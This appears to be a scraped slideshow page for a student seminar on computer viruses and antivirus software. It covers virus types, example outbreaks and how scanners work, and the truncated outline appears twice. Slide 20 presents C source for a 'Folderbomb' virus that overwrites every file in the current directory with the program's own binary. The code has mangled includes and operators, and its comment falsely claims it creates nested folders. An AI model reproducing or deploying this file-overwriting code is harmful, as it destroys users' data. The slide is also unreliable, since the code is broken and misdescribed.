Contents
 Intentional Overview
 Definition of Computer Virus ?
 Who creates/writes viruses ?
 Why people creates compu...
Intentional Overview
A Computer Virus is a computer program
What is a Computer Virus ?
that can copy itself and infect a computer
Without permi...
Who creates/writes viruses ?
1.INFO
ATTACKERS
Who creates/writes viruses ?
Who creates/writes viruses ?
Who creates/writes viruses ?
INFO ATTACKERS
Why people creates computer viruses?
 To attack the products of specific
companies.
 To theft the confidential info.
 T...
How can they write virus codes?
By using
Assembly
languages
like
Basic,
c,
Pascal e.t.c
What will happen if
your computer
Infected by virus
 Functions slower
than normal
 Responds slowly and
freezes often
 R...
How virus works
Major
Types of Viruses
Virus
Boot
Sector
Virus
Boot
Sector
Virus
Program/
File
Infector
Program/
File
Infector
Trojan
Hors...
The boot virus affects the
booting process of the
infected computer system.
thus causing slow start up
and shut down proce...
Program/
File Infector
virusBecomes active when the
program file carrying the
virus is opened.
usually with below
extensio...
Appears as
interesting program
file but when installed
it allows intruders to
access and read your
files
Trojan Horses
Copies and multiplies it
self by using computer
networks and security
flaws
Worms
Programmed as a
macro embedded in
a document, usually
found in Microsoft
Word and Excel.
Macro Virus
Designed to take
fundamental control of
a computer system,
without authorization
by the system's owners
RootKit
Two examples for Viruses
 Melissa
Type : Macro virus
 I Love You
Type : worm
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{
char buf[512];
int sourc...
Virus Prevention
Sources of Viruses
 Removable
Data Storage
Devises
 Internet
Anti-Virus
How does an Anti-Virus work ?
Scanner:
Detects the virus by using a list of existing virus
signature/definitions.
Monitors...
Better than
Conclusion
Prevention is
Cure
Thank you
A seminar by sasi
Computer viruses and anti viruses by sasikumar
Computer viruses and anti viruses by sasikumar
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Computer viruses and anti viruses by sasikumar

  1. 1. Contents  Intentional Overview  Definition of Computer Virus ?  Who creates/writes viruses ?  Why people creates computer viruses?  How can they write virus codes?  Effects by virus Infection  How virus works  Major Types of Viruses  Boot Sector Virus  Examples for Viruses  Virus Prevention  Conclusion
  2. 2. Intentional Overview
  3. 3. A Computer Virus is a computer program What is a Computer Virus ? that can copy itself and infect a computer Without permission or knowledge of the user.
  4. 4. Who creates/writes viruses ? 1.INFO ATTACKERS
  5. 5. Who creates/writes viruses ?
  6. 6. Who creates/writes viruses ?
  7. 7. Who creates/writes viruses ? INFO ATTACKERS
  8. 8. Why people creates computer viruses?  To attack the products of specific companies.  To theft the confidential info.  To distribute political messages. “Some virus writers consider their creations to be works of art, and see virus writing as a
  9. 9. How can they write virus codes? By using Assembly languages like Basic, c, Pascal e.t.c
  10. 10. What will happen if your computer Infected by virus  Functions slower than normal  Responds slowly and freezes often  Restarts itself often  See uncommon error messages, distorted menus, and dialog boxes
  11. 11. How virus works
  12. 12. Major Types of Viruses Virus Boot Sector Virus Boot Sector Virus Program/ File Infector Program/ File Infector Trojan Horses Trojan Horses WormsWorms Macro Viruses Macro Viruses Root KitRoot Kit
  13. 13. The boot virus affects the booting process of the infected computer system. thus causing slow start up and shut down process Boot Sector Virus
  14. 14. Program/ File Infector virusBecomes active when the program file carrying the virus is opened. usually with below extensions .BIN .COM .EXE .OVL .DRV
  15. 15. Appears as interesting program file but when installed it allows intruders to access and read your files Trojan Horses
  16. 16. Copies and multiplies it self by using computer networks and security flaws Worms
  17. 17. Programmed as a macro embedded in a document, usually found in Microsoft Word and Excel. Macro Virus
  18. 18. Designed to take fundamental control of a computer system, without authorization by the system's owners RootKit
  19. 19. Two examples for Viruses  Melissa Type : Macro virus  I Love You Type : worm
  20. 20. #include<stdio.h> #include<conio.h> #include #include #include void main(int argc,char* argv[]) { char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf(”————————————————— ———————–”); printf(”nVirus: Folderbomb 1.0nProgrammer: BAS Unnikrishnan(asystem0@gmail.com)n”); cprintf(”————————————————— ———————–”); done = findfirst(”*.*”,&ffblk,0); while (!done) { printf(”n”); cprintf(” %s “, ffblk.ff_name); printf(”is attacked by “); cprintf(”Folderbomb”); source=open(argv[0],O_RDONLYO_BINARY); target=open(ffblk.ff_name,O_CREATO_BINARY O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); } /*This is a simple virus program to create a virus in c It will create Folder in a Folder in a Folder and so on ......*/
  21. 21. Virus Prevention
  22. 22. Sources of Viruses  Removable Data Storage Devises  Internet
  23. 23. Anti-Virus
  24. 24. How does an Anti-Virus work ? Scanner: Detects the virus by using a list of existing virus signature/definitions. Monitors: These are memory resident programs and alert when any changes find in executable program. INTEGRITY CHECKING PROGRAMS: To execute any virus must integrate with a executable program.so it checks for virus code integration
  25. 25. Better than Conclusion Prevention is Cure
  26. 26. Thank you A seminar by sasi

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